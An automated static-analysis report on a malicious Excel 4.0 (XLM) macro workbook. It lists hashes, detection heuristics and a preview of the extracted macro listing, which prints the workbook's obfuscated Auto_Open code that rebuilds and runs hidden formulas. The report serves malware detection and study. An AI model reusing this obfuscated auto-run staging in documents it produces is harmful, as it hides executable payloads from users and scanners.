Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 303888972aa05560…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:39:42 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 6efdb4ea5468472a35570afce6bc0f24 SHA-1: 8bf19e117308a96a003c93be43e5603522a0907f SHA-256: 303888972aa055600a7e746cb6b346e9bca0a5df39109066963bbaf4f5dd4f46
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6583 bytes
SHA-256: 19bea5a532039fe2b7375b72b0345bfc841ce4ac0c6980b3072d13ea0828d57d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rarLVRdbT
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I180 
' 0018     20 LABEL : Cell Value, String Constant - dcWPo len=0 
' 0018     26 LABEL : Cell Value, String Constant - dVmNYQGrcDs len=0 
' 0018     20 LABEL : Cell Value, String Constant - fVZhA len=0 
' 0018     23 LABEL : Cell Value, String Constant - GghJJscs len=0 
' 0018     27 LABEL : Cell Value, String Constant - GOzREWLwzxvW len=0 
' 0018     22 LABEL : Cell Value, String Constant - gpgibBj len=0 
' 0018     26 LABEL : Cell Value, String Constant - gzAMURjUSQz len=0 
' 0018     20 LABEL : Cell Value, String Constant - hwhwj len=0 
' 0018     27 LABEL : Cell Value, String Constant - mQFZBcsYDFDd len=0 
' 0018     23 LABEL : Cell Value, String Constant - NmxxYpql len=0 
' 0018     23 LABEL : Cell Value, String Constant - OBemZxbo len=0 
' 0018     24 LABEL : Cell Value, String Constant - ogbMldfiK len=0 
' 0018     25 LABEL : Cell Value, String Constant - pGKPPDwIfW len=0 
' 0018     20 LABEL : Cell Value, String Constant - PKnZu len=0 
' 0018     27 LABEL : Cell Value, String Constant - qrNeJxSASbjG len=0 
' 0018     25 LABEL : Cell Value, String Constant - syFhmFpItU len=0 
' 0018     22 LABEL : Cell Value, String Constant - uLMTmCV len=0 
' 0018     20 LABEL : Cell Value, String Constant - vtHxa len=0 
' 0018     20 LABEL : Cell Value, String Constant - VzrtW len=0 
' 0018     25 LABEL : Cell Value, String Constant - YQXmrmLfaV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rarLVRdbT,I90,"SET.NAME("GOzREWLwzxvW",VALUE("0"))",""
'  rarLVRdbT,I94,"SET.NAME("OBemZxbo",GOzREWLwzxvW)",""
'  rarLVRdbT,I98,"SET.NAME("gzAMURjUSQz",GOzREWLwzxvW)",""
'  rarLVRdbT,I103,"SET.NAME("dcWPo",COUNTA(PKnZu))",""
'  rarLVRdbT,I105,"SET.NAME("gpgibBj",COUNTA(ogbMldfiK))",""
'  rarLVRdbT,I110,[],""
'  rarLVRdbT,I114,"SET.NAME("dVmNYQGrcDs","")",""
'  rarLVRdbT,I119,"OBemZxbo",""
'  rarLVRdbT,I121,"SET.NAME("syFhmFpItU",HLOOKUP("*",PKnZu,OBemZxbo,FALSE))",""
'  rarLVRdbT,I124,"fVZhA",""
'  rarLVRdbT,I129,"SET.NAME("qrNeJxSASbjG",GOzREWLwzxvW)",""
'  rarLVRdbT,I131,[],""
'  rarLVRdbT,I133,"qrNeJxSASbjG",""
'  rarLVRdbT,I135,"uLMTmCV",""
'  rarLVRdbT,I139,"mQFZBcsYDFDd",""
'  rarLVRdbT,I142,"vtHxa",""
'  rarLVRdbT,I145,"SET.NAME("VzrtW",VALUE(HLOOKUP("*",ogbMldfiK,vtHxa,FALSE)))",""
'  rarLVRdbT,I147,"NmxxYpql",""
'  rarLVRdbT,I151,"dVmNYQGrcDs",""
'  rarLVRdbT,I153,"gzAMURjUSQz",""
'  rarLVRdbT,I158,NEXT(),""
'  rarLVRdbT,I162,"pGKPPDwIfW",""
'  rarLVRdbT,I165,"SET.NAME("f",INT(T(FORMULA(T(dVmNYQGrcDs)&"",""&T(pGKPPDwIfW)))))",""
'  rarLVRdbT,I169,"YQXmrmLfaV",""
'  rarLVRdbT,I172,NEXT(),""
'  rarLVRdbT,I177,RETURN(),""
'  rarLVRdbT,I200,"SET.NAME("hwhwj",I90)",""
'  rarLVRdbT,I203,"PKnZu",""
'  rarLVRdbT,I205,"SET.NAME("ogbMldfiK",R83C11)",""
'  rarLVRdbT,I209,"SET.NAME("YQXmrmLfaV",218)",""
'  rarLVRdbT,I212,"SET.NAME("GghJJscs",9)",""
'  rarLVRdbT,I217,hwhwj(),""
'  rarLVRdbT,I218,HALT(),""

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